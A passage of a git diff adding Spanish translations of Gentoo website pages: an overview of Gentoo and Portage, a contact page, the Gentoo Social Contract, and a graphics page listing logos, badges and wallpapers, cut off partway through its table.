+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/main/es/about.xml,v 1.11 2008/04/11 18:38:22 yoswink Exp $ -->
+
+<mainpage lang="es">
+<title>Acerca de Gentoo</title>
+<author title="Autor">
+  <mail link="drobbins@gentoo.org">Daniel Robbins</mail>
+</author>
+<author title="Editor">
+  <mail link="curtis119@gentoo.org">Curtis Napier</mail>
+</author>
+<author title="Editor">
+  <mail link="peesh@gentoo.org">Jorge Paulo</mail>
+</author>
+<author title="Editor">
+  <mail link="klieber@gentoo.org">Kurt Lieber</mail>
+</author>
+<author title="Editor">
+  <mail link="fox2mike@gmail.com">Shyam Mani</mail>
+</author>
+<author title="Editor">
+  <mail link="swift@gentoo.org">Sven Vermeulen</mail>
+</author>
+<author title="Traductor">
+  <mail link="chiguire@gentoo.org">John Christian Stoddart</mail>
+</author>
+<author title="Traductor">
+  <mail link="LinuxBlues@gentoo-es.org">Fernando M. Bueno</mail>
+</author>
+<author title="Traductor">
+  <mail link="trek1s@gmail.org">Francisco Rodera</mail>
+</author>
+
+<abstract>
+Sobre Gentoo, un resumen.
+</abstract>
+
+<license/>
+
+<version>1.7</version>
+<date>2007-09-17</date>
+
+<chapter>
+<title>Acerca de Gentoo</title>
+<section>
+<body>
+
+<fig link="/images/poster.jpg"/>
+</body>
+</section>
+
+<section>
+<title>¿Qué es Gentoo?</title>
+<body>
+
+<p>
+Gentoo es un sistema operativo libre que puede estar basado tanto en Linux como
+en FreeBSD y tiene la capacidad de ser optimizado y personalizado
+automáticamente para cualquier aplicación o necesidad. La configurabilidad
+extrema, el rendimiento y una comunidad de usuarios y desarrolladores de
+primerísima son todas características de la experiencia Gentoo.
+</p>
+
+<p>
+Gracias a una tecnología denominada Portage, Gentoo Linux puede convertirse en
+un servidor seguro ideal, estación de trabajo para desarrollo, escritorio
+profesional, sistema para juegos, solución encastrada o cualquier cosa
+-- lo que necesite que sea. Dada su casi ilimitada adaptabilidad,
+denominamos a Gentoo Linux una <b>meta</b>distribución.
+</p>
+
+<p>
+Por supuesto, Gentoo es más que el software. Es una comunidad creada en torno
+a una distribución dirigida por más de 300 desarrolladores y miles de
+usuarios. Los projectos de la distribución proveen los medios con los que el
+usuario disfruta de Gentoo: documentación, infraestructura (listas de correo,
+sitio web, foros de discución ...), ingeniería de lanzamiento, portado de
+software, aseguramiento de la calidad, seguridad y más.
+</p>
+
+<p>
+A fin de dar consejo y ayudar en el desarrollo global de Gentoo, cada año se
+elige un <uri link="/proj/en/council/">consejo de 7 miembros </uri> que decide
+acerca de temas generales, políticas y avances en el projecto de Gentoo.
+</p>
+</body>
+</section>
+
+<section>
+<title>¿Qué es Portage?</title>
+<body>
+
+<p>
+El sistema <b>Portage</b> es el corazón de Gentoo Linux y desempeña varias
+funciones clave. Para empezar, Portage es el <e>sistema de distribución de
+software</e> de Gentoo. Para obtener el software más reciente en Gentoo, se escribe un solo comando: <c>emerge --sync</c>. Este indica a Portage
+que debe actualizar el "árbol Portage" local, a través de Internet. Su árbol
+local Portage contiene una colección completa de guiones utilizados para crear
+e instalar los últimos paquetes Gentoo. Actualmente tenemos
+<uri link="http://packages.gentoo.org/categories">más de 10.000 paquetes</uri>
+en nuestro árbol Portage y <uri link="http://packages.gentoo.org">se están
+agregando más</uri> constantemente.
+</p>
+
+<p>
+Portage también es un sistema para <e>construir e instalar</e> paquetes. Si se
+desea instalar un paquete, escriba <c>emerge paquete</c> y, a partir de este
+momento, Portage automáticamente construye una versión del paquete adaptada a
+sus especificaciones exactas, optimizándolo para su hardware y asegurando que
+las funcionalidades opcionales que desee sean habilitadas y las que no desee,
+desactivadas.
+</p>
+
+<p>
+Portage también mantiene <e>actualizado</e> su sistema. El escribir <c>emerge
+-uD world</c> -- un solo comando -- asegurará que todos los paquetes <e>que
+haya escogido</e> sean actualizados automáticamente.
+</p>
+</body>
+</section>
+</chapter>
+</mainpage>
+
diff --git a/xml/htdocs/main/es/contact.xml b/xml/htdocs/main/es/contact.xml
new file mode 100644
index 00000000..794d9c81
--- /dev/null
+++ b/xml/htdocs/main/es/contact.xml
@@ -0,0 +1,156 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE mainpage SYSTEM "/dtd/guide.dtd">
+
+<mainpage lang="es">
+<title>Contactos de Gentoo Linux</title>
+
+<author title="Autor">
+  <mail link="wolf31o2@gentoo.org">Chris Gianelloni</mail>
+</author>
+<author title="Traductor">
+  <mail link="chiguire"/>
+</author>
+<author title="Traductor">
+  <mail link="trek1s@gmail.com">Francisco Rodera</mail>
+</author>
+
+<abstract>
+Cómo contactar con Gentoo
+</abstract>
+
+<!-- The content of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommons.org/licenses/by-sa/2.5 -->
+<license/>
+
+<version>2</version>
+<date>2010-07-22</date>
+
+<chapter>
+<title>¿Con quién contacto?</title>
+<section>
+<title>Contenidos</title>
+<body>
+
+<ul>
+  <li><uri link="#intro">Introducción</uri></li>
+  <li><uri link="#pr">Relaciones Públicas/Eventos</uri></li>
+  <li><uri link="#www">Webmaster</uri></li>
+  <li><uri link="#trustees">La Fundación Gentoo</uri></li>
+</ul>
+</body>
+</section>
+
+<section id="intro">
+<title>Introducción</title>
+<body>
+
+<p>
+"Gentoo" es muchas cosas. Es una distribución de Linux comunitaria. Es
+una filosofía de gestión de paquetes. Es también una organización sin
+ánimo de lucro. Este documento, está ideado para ponerle en contacto
+con el grupo adecuado dentro de Gentoo, de manera que su
+correspondencia sea tratada lo antes posible.
+</p>
+
+<p>
+Para información acerca de próximos eventos, entrevistas, consultas
+generales, o simplemente para averiguar más sobre Gentoo y sus
+productos, lo más probable es que quiera hablar con alguien del
+proyecto de <uri link="#pr">Relaciones Públicas </uri> de Gentoo.
+</p>
+
+<impo>
+El equipo de Relaciones Públicas no proporciona soporte al usuario o
+resolución de problemas técnicos. Si requiere ayuda con su sistema
+Gentoo, por favor visite nuestros <uri
+link="http://forums.gentoo.org">foros</uri>, <uri
+link="/main/es/irc.xml">canales en IRC</uri> u otras <uri
+link="/main/es/support.xml">formas de soporte</uri>.
+</impo>
+
+<p>
+Para información sobre este sitio web, o cualquier otro sitio web de
+Gentoo alojados en un dominio <c>gentoo.org</c>, querrá hablar con
+los <uri link="#www">Webmasters</uri> de Gentoo.
+</p>
+
+<p>
+Para información sobre La Fundación Gentoo, o cualquier otra cosa
+relacionada con la propiedad intelectual de Gentoo, marcas
+comerciales, y derechos de copia, es muy probable que desee hablar
+con el <uri link="#trustees">Consejo de Administración </uri> de la
+Fundación Gentoo.
+</p>
+
+<p>
+Si está buscando ayuda para Gentoo Linux o cualquier otro producto de
+Gentoo o proyecto, debería dirigirse entonces a nuestra página de <uri
+link="/main/es/support.xml">ayuda</uri> para obtener más información.
+</p>
+</body>
+</section>
+
+<section id="pr">
+<title>Relaciones Públicas</title>
+<body>
+
+<p>
+El proyecto de <uri link="/proj/en/pr/">Relaciones Públicas</uri> de
+Gentoo, y su subproyecto de <uri
+link="/proj/en/pr/events/">Eventos</uri> son los responsables de dar
+publicidad a Gentoo, además de coordinar la presencia de Gentoo dentro
+de la comunidad, así como en ferias comerciales y exhibiciones.
+</p>
+
+<p>
+Si está buscando material para escribir un artículo, alguien para
+entrevistar o sencillamente quiere saber más acerca de Gentoo y qué
+tenemos que ofrecer, envíe un mensaje al equipo de Relaciones
+Públicas. Para contactarlos, sencillamente envíe un correo electrónico
+a <mail>pr@gentoo.org</mail> y alguien del equipo le atenderá lo
+antes posible.
+</p>
+
+<impo>
+El equipo de Relaciones Públicas no proporciona soporte al usuario o
+resolución de problemas técnicos. Si requiere ayuda con su sistema
+Gentoo, por favor visite nuestros <uri
+link="http://forums.gentoo.org">foros</uri> o <uri
+link="/main/es/irc.xml">canales en IRC</uri>.
+</impo>
+</body>
+</section>
+
+<section id="www">
+<title>Webmasters</title>
+<body>
+
+<p>
+Mantener la presencia de Gentoo en la web es una tarea
+desalentadora. Gentoo tiene un equipo dedicado de webmasters que
+mantienen nuestro sitio en buenas condiciones y actualizado. Si tiene
+cualquier pregunta o comentario sobre cualquiera de los sitios de
+Gentoo, este equipo es el que está buscando.  Puede contactar con
+ellos por correo electrónico en la dirección
+<mail>www@gentoo.org</mail>.
+</p>
+</body>
+</section>
+
+<section id="trustees">
+<title>El Consejo de Administración de Gentoo</title>
+<body>
+
+<p>
+<uri link="/foundation/en/">La Fundación Gentoo</uri> es una
+organización sin ánimo de lucro que fue creada para ser la protectora
+de la propiedad intelectual de Gentoo. El Consejo de Administración
+son las personas elegidas para salvaguardar la entidad legal que es
+Gentoo dentro de los Estados Unidos.  Si su pregunta es de naturaleza
+legal, envíe un email a <mail>trustees@gentoo.org</mail> y un miembro
+del consejo le atenderá lo antes posible.
+</p>
+</body>
+</section>
+</chapter>
+</mainpage>
diff --git a/xml/htdocs/main/es/contract.xml b/xml/htdocs/main/es/contract.xml
new file mode 100644
index 00000000..6958fbf2
--- /dev/null
+++ b/xml/htdocs/main/es/contract.xml
@@ -0,0 +1,157 @@
+<?xml version='1.0' encoding='utf-8'?>
+<!DOCTYPE mainpage SYSTEM "/dtd/guide.dtd">
+
+<mainpage lang="es">
+<title>Contrato Social Gentoo</title>
+
+<!-- $Header: -->
+
+<author title="Autor">
+  El Proyecto Gentoo
+</author>
+<author title="Editor">
+  <mail link="curtis119@gentoo.org">Curtis Napier</mail>
+</author>
+<author title="Traductor">
+  <mail link="chiguire@gentoo.org">John Christian Stoddart</mail>
+</author>
+<author title="Traductor">
+  <mail link="linuxblues@gentoo-es.org">Fernando M. Bueno</mail>
+</author>
+
+<abstract>
+Este documento contiene la promesa a la comunidad Gentoo acerca de la
+libertad del software Gentoo, la apertura del proceso de desarrollo
+Gentoo y el aporte que devolvemos a la comunidad del software libre.
+</abstract>
+
+<license/>
+
+<version>1.10</version>
+<date>2006-04-30</date>
+
+<chapter>
+<title>Contrato Social Gentoo</title>
+<section>
+<body>
+
+<p>
+Este contrato social tiene la intención de describir claramente las
+políticas globales de desarrollo y las normas del equipo de desarrollo
+del proyecto Gentoo. Partes de este documento derivan
+del <uri link="http://www.debian.org/social_contract">Contrato Social
+Debian</uri> y es, en general, muy similar, excepto que ciertas partes
+se han aclarado y aumentado, mientras que otras partes estimadas
+redundantes se han eliminado. Los comentarios son bienvenidos. Han de
+enviarse a la lista de correo
+<mail link="gentoo-dev@gentoo.org">gentoo-dev@gentoo.org</mail>.
+</p>
+</body>
+</section>
+
+<section>
+<title>¿Qué es Gentoo?</title>
+<body>
+
+<p>
+Gentoo, por sí mismo, es una colección de conocimientos
+libres. Podríamos definir conocimiento en este contexto como la
+documentación y los metadatos relacionados con conceptos o dominios
+relevantes a sistemas operativos y sus componentes, como
+en <uri link="http://www.gnu.org/philosophy/free-sw.es.html">Software
+Libre</uri> contribuido por varios desarrolladores del proyecto
+Gentoo.
+</p>
+
+<p>
+El sistema operativo Gentoo, se deriva del concepto base del
+conocimiento, como descrito anteriormente. Un sistema operativo Gentoo
+debe satisfacer el requisito de ser autosuficiente. En otras palabras,
+el sistema operativo debe poderse construir desde el principio con las
+herramientas y metadatos mencionadas. Si un producto asociado con el
+proyecto oficial Gentoo no satisface estos requisitos, el producto no
+será calificado como sistema operativo Gentoo.
+</p>
+
+<p>
+La lista oficial de proyectos Gentoo está listado bajo
+la <uri
+link="http://www.gentoo.org/proj/en/metastructure/projects.xml">
+Metaestructura Gentoo</uri>. No se requiere que un proyecto Gentoo
+produzca un sistema operativo para ser reconocido oficialmente.
+</p>
+</body>
+</section>
+
+<section>
+<title>Gentoo es y continuará siendo Software Libre</title>
+<body>
+
+<p>
+Realizaremos nuestras contribuciones a Gentoo como software libre,
+metadatos o documentación, bajo la Licencia Pública General GNU
+versión 2 (o posterior, a nuestra discreción) o Creative Commons -
+Reconocimiento / Compartir Igual versión 2 (o posterior, a nuestra
+discreción). Todas las contribuciones externas a Gentoo (en forma de
+código fuente libremente distribuible, binarios, metadatos o
+documentación) pueden ser incorporados a Gentoo bajo la estipulación
+que tenemos el derecho legal a hacerlo. Sin embargo, Gentoo
+nunca <e>dependerá</e> de ningún programa o metadatos a menos que
+cumpla con la Licencia Pública General GNU, la Licencia Pública
+General Lesser GNU, la Licencia Creative Commons - Reconocimiento /
+Compartir Igual o cualquier otra Licencia aprobada por la Open Source
+Initiative
+(<uri link="http://www.opensource.org/licenses/index.html">OSI</uri>).
+</p>
+
+<note>
+Estamos considerando extender la anterior cláusula para que todos los
+componentes esenciales de Gentoo deban cumplir una licencia aprobada
+por la OSI <e>y</e> la Fundación para el Software Libre
+(<uri link="http://www.gnu.org/home.es.html">FSF</uri>).
+</note>
+</body>
+</section>
+
+<section>
+<title>Devolveremos nuestra contribución a la comunidad del Software
+Libre</title>
+<body>
+
+<p>
+Entablaremos relaciones con autores de Software Libre y colaboraremos
+con ellos siempre que sea posible. Enviaremos soluciones de errores,
+mejoras, peticiones de usuarios, etc. a los autores "originales" del
+software incluido en nuestro sistema. También documentaremos con
+claridad <e>nuestro</e> aporte a Gentoo, así como cualquier mejora o
+cambio que realicemos al código fuente externo empleado por Gentoo
+(bien sea parches, "afinamientos por medio de sed" o de cualquier otra
+forma). Sabemos que nuestras mejoras y cambios son mucho más
+significativas para la comunidad del Software Libre si están
+claramente explicadas y documentadas, teniendo en cuenta que no todos
+tienen el tiempo o la capacidad para entenderlos tal cual aparecen en
+los parches o afinamientos por ellos mismos.
+</p>
+</body>
+</section>
+
+<section>
+<title>No ocultaremos los problemas</title>
+<body>
+
+<p>
+Mantendremos nuestra <uri link="http://bugs.gentoo.org/">base de datos
+de errores</uri> abierta y a la vista pública siempre; los problemas
+que cualquier usuario conectado pueda rellenar serán inmediatamente
+visibles para todos.
+</p>
+
+<p>
+Se harán excepciones en caso de información relacionada con asuntos de
+seguridad o con información respecto relaciones entre desarrolladores,
+con petición expresa de no publicación anterior a una fecha límite.
+</p>
+</body>
+</section>
+</chapter>
+</mainpage>
diff --git a/xml/htdocs/main/es/graphics.xml b/xml/htdocs/main/es/graphics.xml
new file mode 100644
index 00000000..df93ef56
--- /dev/null
+++ b/xml/htdocs/main/es/graphics.xml
@@ -0,0 +1,455 @@
+<?xml version='1.0' encoding='UTF-8'?>
+<!DOCTYPE mainpage SYSTEM "/dtd/guide.dtd">
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/main/es/graphics.xml,v 1.5 2008/08/10 12:15:34 chiguire Exp $ -->
+
+<mainpage lang="es">
+<title>Gráficos de Gentoo Linux</title>
+
+<author title="Anterior Arquitecto Jefe">
+  <mail link="drobbins@gentoo.org">Daniel Robbins</mail>
+</author>
+<author title="Editor">
+  <mail link="curtis119@gentoo.org">Curtis Napier</mail>
+</author>
+<author title="Traductor">
+  <mail link="chiguire@gentoo.org">John Christian Stoddart</mail>
+</author>
+<author title="Traductor">
+  <mail link="krego.gentoo@gmail.com">Carlos Jiménez Pacho</mail>
+</author>
+<author title="Traductor">
+  <mail link="trek1s@gmail.com">Francisco Rodera</mail>
+</author>
+<author title="Traductor">
+  <mail link="srinclan@gmail.com">Sergio D. Rodríguez Inclan</mail>
+</author>
+
+<abstract>
+Listado de varios recursos gráficos disponibles para utilizarlos bajo
+las Pautas de Uso del Nombre y Logo de Gentoo
+</abstract>
+
+<version>2.13</version>
+<date>2008-07-04</date>
+
+<chapter>
+<title>Gráficos de Marca Gentoo</title>
+<section>
+<title>Términos de Utilización</title>
+<body>
+
+<p>
+Los gráficos en esta página fueron creados por varios autores, los
+cuales le conceden permiso para usarlos y modificarlos como
+considere oportuno. La utilización del nombre y logo de Gentoo está
+regido por las <uri link="/main/es/name-logo.xml">Pautas de Uso del
+Nombre y Logo Gentoo</uri>.
+</p>
+
+</body>
+</section>
+<section>
+<title>¡Contribuya!</title>
+<body>
+
+<p>
+Si quieres contribuir con alguna imagen, utiliza primero los <uri
+link="http://forums.gentoo.org">Foros de Gentoo</uri> para  recibir comentarios
+y ayudarte a mejorar la calidad de la imagen. Después contacta al <mail
+link="www@gentoo.org">equipo WWW de Gentoo</mail> y pide que sea incluida.
+</p>
+
+<p>
+El equipo podrá decidir no incluir tu arte se parece demasiado a
+alguna de las existentes, que no tiene resolución suficiente, que no
+se ajuste al espíritu de Gentoo (por ejemplo, que sea ofensiva) o
+cualquier otra razón.
+</p>
+
+<p>
+Incluir alguna imagen en la página podría tomar algún tiempo, por
+favor ten paciencia.
+</p>
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Gráficos Misceláneos de Gentoo</title>
+<section>
+<body>
+
+<p>
+<uri link="/images/gentoo-logo.svg">logo de la G en formato
+svg format, por Lennart Andre Rolland</uri>
+</p>
+
+<p>
+<uri link="/images/gentoo-openbsd.png">logo de Gentoo/OpenBSD en formato png
+creado por el Proyecto de trabajos artísticos de Gentoo.</uri>
+</p>
+
+</body>
+</section>
+
+<section>
+<title>Distintivos Gentoo</title>
+<body>
+
+<p>
+<b>Deje que el mundo sepa que corre Gentoo.</b>
+</p>
+
+<p>
+Pon una imagen <e>Powered by Gentoo</e> en tu sitio web potenciado por
+Gentoo o usa un <e>Distintivo Gentoo</e> on tu página web, blog, firma
+de foro o donde quieras y vincúlala
+a <uri link="http://www.gentoo.org">http://www.gentoo.org</uri> -
+ayúdanos a expandirnos por el mundo! Dile a los demás lo feliz que
+eres con Gentoo.
+</p>
+
+<table>
+<tr>
+  <ti>
+    <fig link="/images/powered-show.png"/>
+  </ti>
+  <ti>
+    <fig link="/images/powered-by-gentoo.jpg"/><br/>
+    <fig link="/images/powered-by-gentoo2.jpg"/><br/>
+    <fig link="/images/powered-by-gentoo3.png"/><br/>
+    <fig link="/images/powered-by-gentoo4.png"/>
+  </ti>
+  <ti>
+    <fig link="/images/ralph_gentoo_badge.png"/>
+  </ti>
+  <ti>
+    <fig link="/images/gentoo-badge.png"/>
+  </ti>
+</tr>
+<tr>
+  <ti>
+    <uri link="/images/powered-small.png">Pequeño</uri> - 
+    <uri link="/images/powered.png">Mediano</uri> -
+    <uri link="/images/powered-big.png">Grande</uri>
+  </ti>
+  <ti>
+    por Sascha Schwabbauer
+  </ti>
+  <ti>
+    por Ralph Jacobs
+  </ti>
+  <ti>
+    por Ryan Viljoen
+  </ti>
+</tr>
+<tr>
+  <ti>
+    <fig link="/images/gentoo-badge2.png"/>
+  </ti>
+  <ti>
+    <fig link="/images/gentoo-badge3.png"/>
+  </ti>
+  <ti>
+    <fig link="/images/szbence-badge1.png"/><br/>
+    <fig link="/images/szbence-badge2.png"/><br/>
+    <fig link="/images/szbence-badge3.png"/><br/>
+    <fig link="/images/szbence-badge4.png"/><br/>
+    <fig link="/images/szbence-badge5.png"/><br/>
+    <fig link="/images/szbence-badge6.png"/>
+  </ti>
+  <ti>
+    <fig link="/images/hardened-badge.png"/>
+  </ti>
+</tr>
+<tr>
+  <ti>
+    por <uri link="http://forums.gentoo.org/profile.php?mode=viewprofile&amp;u=36364">m@o</uri>
+  </ti>
+  <ti>
+    por <uri link="http://forums.gentoo.org/profile.php?mode=viewprofile&amp;u=26433">wolven</uri>
+  </ti>
+  <ti>
+    by <uri link="http://forums.gentoo.org/viewtopic-t-7763-start-50.html">Szabó Bence</uri>
+  </ti>
+<ti>
+  by <uri link="http://www.liquidustech.com/">Matthew Summers</uri>
+</ti>
+</tr>
+</table>
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Fondos de Escritorio de Gentoo</title>
+<section>
+<body>
+
+<p>
+<b>Decora tu escritorio con un bonito fondo de Gentoo y muestra a tus
+colegas que usas Gentoo.</b>
+</p>
+
+<p>
+Utiliza uno de estos <e>Fondos Gentoo</e> para hacer más bonito tu
+escritorio. Enseña a todos que corres Gentoo y córrelo con orgullo.
+</p>
+
+<!--
+  Use 120x90 graphics for display purposes
+-->
+
+<table>
+<tr>
+  <ti>
+    <fig link="/images/backgrounds/gentoo120x90.jpg"/>
+  </ti>
+  <ti>
+    <fig link="/images/backgrounds/gentoo-cycle-120x90.jpg"/>
+  </ti>
+</tr>
+<tr>
+  <ti>
+    <uri link="/images/backgrounds/gentoo640x480.jpg">640x680</uri> - 
+    <uri link="/images/backgrounds/gentoo1024x768.jpg">1024x768</uri> -
+    <uri link="/images/backgrounds/gentoo1152x864.jpg">1152x864</uri> - 
+    <uri link="/images/backgrounds/gentoo1280x1024.jpg">1280x1024</uri> -
+    <uri link="/images/backgrounds/gentoo1600x1200.jpg">1600x1200</uri><br/>
+    por <uri link="http://forums.gentoo.org/viewtopic.php?t=6745">mksoft</uri>
+  </ti>
+  <ti>
+    <uri link="/images/backgrounds/gentoo-cycle-640x480.jpg">640x480</uri> -
+    <uri link="/images/backgrounds/gentoo-cycle-1024x768.jpg">1024x768</uri> -
+    <uri link="/images/backgrounds/gentoo-cycle-1152x864.jpg">1152x864</uri> -
+    <uri link="/images/backgrounds/gentoo-cycle-1280x1024.jpg">1280x1024</uri> -
+    <uri link="/images/backgrounds/gentoo-cycle-1600x1200.jpg">1600x1200</uri>
+    <br/>
+    por <uri link="http://forums.gentoo.org/viewtopic.php?t=6868">mksoft</uri>
+  </ti>
+</tr>
+<tr>
+  <ti>
+    <fig link="/images/backgrounds/gentoo-ice-light2-120x90.jpg"/>
+  </ti>
+  <ti>
+    <fig link="/images/backgrounds/gentoo-ice-120x90.jpg"/>
+  </ti>
+</tr>
+<tr>
+  <ti>
+    <uri link="/images/backgrounds/gentoo-ice-light2-640x480.jpg">640x480</uri> - 
+    <uri link="/images/backgrounds/gentoo-ice-light2-1024x768.jpg">1024x768</uri> -
+    <uri link="/images/backgrounds/gentoo-ice-light2-1152x864.jpg">1152x864</uri> -
+    <uri link="/images/backgrounds/gentoo-ice-light2-1280x1024.jpg">1280x1024</uri> -
+    <uri link="/images/backgrounds/gentoo-ice-light2-1600x1200.jpg">1600x1200</uri>
+    <br/>
+    por <uri link="http://forums.gentoo.org/viewtopic.php?t=7993">mksoft</uri>
+  </ti>
+  <ti>
+    <uri link="/images/backgrounds/gentoo-ice-640x480.jpg">640x480</uri> -
+    <uri link="/images/backgrounds/gentoo-ice-1024x768.jpg">1024x768</uri> -
+    <uri link="/images/backgrounds/gentoo-ice-1152x864.jpg">1152x864</uri> -
+    <uri link="/images/backgrounds/gentoo-ice-1280x1024.jpg">1280x1024</uri> -
+    <uri link="/images/backgrounds/gentoo-ice-1600x1200.jpg">1600x1200</uri>
+    <br/>
+    por <uri link="http://forums.gentoo.org/viewtopic.php?t=7672">mksoft</uri>
+  </ti>
+</tr>
+<tr>
+  <ti>
+    <fig link="/images/backgrounds/gentoo-box-120x90.jpg"/>
+  </ti>
+  <ti>
+    <fig link="/images/backgrounds/gentoo-minimal-120x90.jpg"/>
+  </ti>
+</tr>
+<tr>
+  <ti>
+    <uri link="/images/backgrounds/gentoo-box-640x480.jpg">640x480</uri> -
+    <uri link="/images/backgrounds/gentoo-box-1024x768.png">1024x768</uri> -
+    <uri link="/images/backgrounds/gentoo-box-1152x864.png">1152x864</uri> -
+    <uri link="/images/backgrounds/gentoo-box-1280x1024.png">1280x1024</uri> -
+    <uri link="/images/backgrounds/gentoo-box-1600x1200.png">1600x1200</uri>
+    <br/>
+    por Luca Martinetti
+  </ti>
+  <ti>
+    <uri link="/images/backgrounds/gentoo-minimal-800x600.jpg">800x600</uri> -
+    <uri link="/images/backgrounds/gentoo-minimal-1024x768.jpg">1024x768</uri> -
+    <uri link="/images/backgrounds/gentoo-minimal-1152x864.jpg">1152x864</uri> -
+    <uri link="/images/backgrounds/gentoo-minimal-1280x1024.jpg">1280x1024</uri> -
+    <uri link="/images/backgrounds/gentoo-minimal-1600x1200.jpg">1600x1200</uri>
+    <br/>
+    por <uri link="http://forums.gentoo.org/viewtopic-t-365758.html">Brian
+    Wigginton</uri>
+  </ti>
+</tr>
+<tr>
+  <ti>
+    <fig link="/images/backgrounds/gentoo-amd64_1-120x90.jpg"/>
+  </ti>
+  <ti>
+    <fig link="/images/backgrounds/gentoo-amd64_2-120x90.jpg"/>
+  </ti>
+</tr>
+<tr>
+  <ti>
+    <uri link="/images/backgrounds/gentoo-amd64_1-800x600.jpg">800x600</uri> - 
+    <uri link="/images/backgrounds/gentoo-amd64_1-1024x768.jpg">1024x768</uri> - 
+    <uri link="/images/backgrounds/gentoo-amd64_1-1280x1024.jpg">1280x1024</uri>
+    <br/>
+    por Tedder Wayne
+  </ti>
+  <ti>
+    <uri link="/images/backgrounds/gentoo-amd64_2-800x600.jpg">800x600</uri> - 
+    <uri link="/images/backgrounds/gentoo-amd64_2-1024x768.jpg">1024x768</uri> - 
+    <uri link="/images/backgrounds/gentoo-amd64_2-1280x1024.jpg">1280x1024</uri>
+    <br/>
+    por Tedder Wayne
+  </ti>
+</tr>
+<tr>
+  <ti>
+    <fig link="/images/backgrounds/gentoo-glass-120x90.jpg"/>
+  </ti>
+  <ti>
+    <fig link="/images/backgrounds/gentoo-causticswp-120x90.jpg"/>
+  </ti>
+</tr>
+<tr>
+  <ti>
+    <uri link="/images/backgrounds/gentoo-glass-800x600.jpg">800x600</uri> - 
+    <uri link="/images/backgrounds/gentoo-glass-1024x768.jpg">1024x768</uri> -
+    <uri link="/images/backgrounds/gentoo-glass-1280x1024.jpg">1280x1024</uri> - 
+    <uri link="/images/backgrounds/gentoo-glass-1600x1200.jpg">1600x1200</uri>
+    <br/>
+    por Robert Krig
+  </ti>
+  <ti>
+    <uri link="/images/backgrounds/gentoo-causticswp-800x600.jpg">800x600</uri>
+    - 
+    <uri
+    link="/images/backgrounds/gentoo-causticswp-1024x768.jpg">1024x768</uri> - 
+    <uri
+    link="/images/backgrounds/gentoo-causticswp-1280x1024.jpg">1280x1024</uri> - 
+    <uri
+    link="/images/backgrounds/gentoo-causticswp-1600x1200.jpg">1600x1200</uri>
+    <br/>
+    por Robert Krig
+  </ti>
+</tr>
+<tr>
+  <ti>
+    <fig link="/images/backgrounds/gentoo-water-120x90.jpg"/>
+  </ti>
+  <ti>
+    <fig link="/images/backgrounds/gentoo-chojindsl_1-120x90.jpg"/>
+  </ti>
+</tr>
+<tr>
+  <ti>
+    <uri link="/images/backgrounds/gentoo-water-800x600.jpg">800x600</uri> - 
+    <uri link="/images/backgrounds/gentoo-water-1024x768.jpg">1024x768</uri> -
+    <uri link="/images/backgrounds/gentoo-water-1280x1024.jpg">1280x1024</uri> -
+    <uri link="/images/backgrounds/gentoo-water-1600x1200.jpg">1600x1200</uri>
+    <br/>
+    por Robert Krig
+  </ti>
+  <ti>
+    <uri link="/images/backgrounds/gentoo-chojindsl_1-800x600.jpg">800x600</uri>
+    - 
+    <uri
+    link="/images/backgrounds/gentoo-chojindsl_1-1024x768.jpg">1024x768</uri> - 
+    <uri link="/images/backgrounds/gentoo-chojindsl_1-1280x1024.jpg">1280x1024</uri>
+    - 
+    <uri
+    link="/images/backgrounds/gentoo-chojindsl_1-1600x1200.jpg">1600x1200</uri>
+    <br/>
+    por Robert Krig
+  </ti>
+</tr>
+<tr>
+  <ti>
+    <fig link="/images/backgrounds/gentoo-chojindsl_2-120x90.jpg"/>
+  </ti>
+  <ti>
+    <fig link="/images/backgrounds/cow-push-120x90.jpg"/>
+  </ti>
+</tr>
+<tr>
+  <ti>
+     <uri link="/images/backgrounds/gentoo-chojindsl_2-800x600.jpg">800x600</uri>
+    - 
+    <uri
+    link="/images/backgrounds/gentoo-chojindsl_2-1024x768.jpg">1024x768</uri> - 
+    <uri link="/images/backgrounds/gentoo-chojindsl_2-1280x1024.jpg">1280x1024</uri>
+    - 
+    <uri
+    link="/images/backgrounds/gentoo-chojindsl_2-1600x1200.jpg">1600x1200</uri>
+    <br/>
+    por Robert Krig
+  </ti>
+  <ti>
+    <uri link="/images/backgrounds/cow-push-800x600.jpg">800x600</uri> - 
+    <uri link="/images/backgrounds/cow-push-1024x768.jpg">1024x768</uri> - 
+    <uri link="/images/backgrounds/cow-push-1152x864.jpg">1152x864</uri> - 
+    <uri link="/images/backgrounds/cow-push-1280x1024.jpg">1280x1024</uri> - 
+    <uri link="/images/backgrounds/cow-push-1600x1200.jpg">1600x1200</uri>
+    <br/>
+    por <uri
+    link="http://forums.gentoo.org/profile.php?mode=viewprofile&amp;u=100549">Tero Konttila</uri>
+  </ti>
+</tr>
+<tr>
+  <ti>
+    <fig link="/images/backgrounds/cow-push2-120x90.jpg"/>
+  </ti>
+  <ti>
+    <fig link="/images/backgrounds/macosx-gentoo-120x90.jpg"/>
+  </ti>
+</tr>
+<tr>
+  <ti>
+    <uri link="/images/backgrounds/cow-push2-800x600.jpg">800x600</uri> - 
+    <uri link="/images/backgrounds/cow-push2-1024x768.jpg">1024x768</uri> - 
+    <uri link="/images/backgrounds/cow-push2-1152x864.jpg">1152x864</uri> - 
+    <uri link="/images/backgrounds/cow-push2-1280x1024.jpg">1280x1024</uri> - 
+    <uri link="/images/backgrounds/cow-push2-1600x1200.jpg">1600x1200</uri>
+    <br/>
+    por <uri
+    link="http://forums.gentoo.org/profile.php?mode=viewprofile&amp;u=100549">Tero Konttila</uri>
+  </ti>
+  <ti>
+    <uri link="/images/backgrounds/macosx-gentoo-800x600.jpg">800x600</uri> - 
+    <uri link="/images/backgrounds/macosx-gentoo-1024x768.jpg">1024x768</uri> - 
+    <uri link="/images/backgrounds/macosx-gentoo-1152x864.jpg">1152x864</uri> - 
+    <uri link="/images/backgrounds/macosx-gentoo-1280x1024.jpg">1280x1024</uri> - 
+    <uri link="/images/backgrounds/macosx-gentoo-1600x1200.jpg">1600x1200</uri>
+    <br/>
+    by Przemysław Pazik
+  </ti>
+</tr>
+<tr>
+  <ti>
+    <fig link="/images/backgrounds/gentoo-abducted-120x90.png"/>
+  </ti>
+  <ti></ti>
+</tr>
+<tr>
+  <ti>
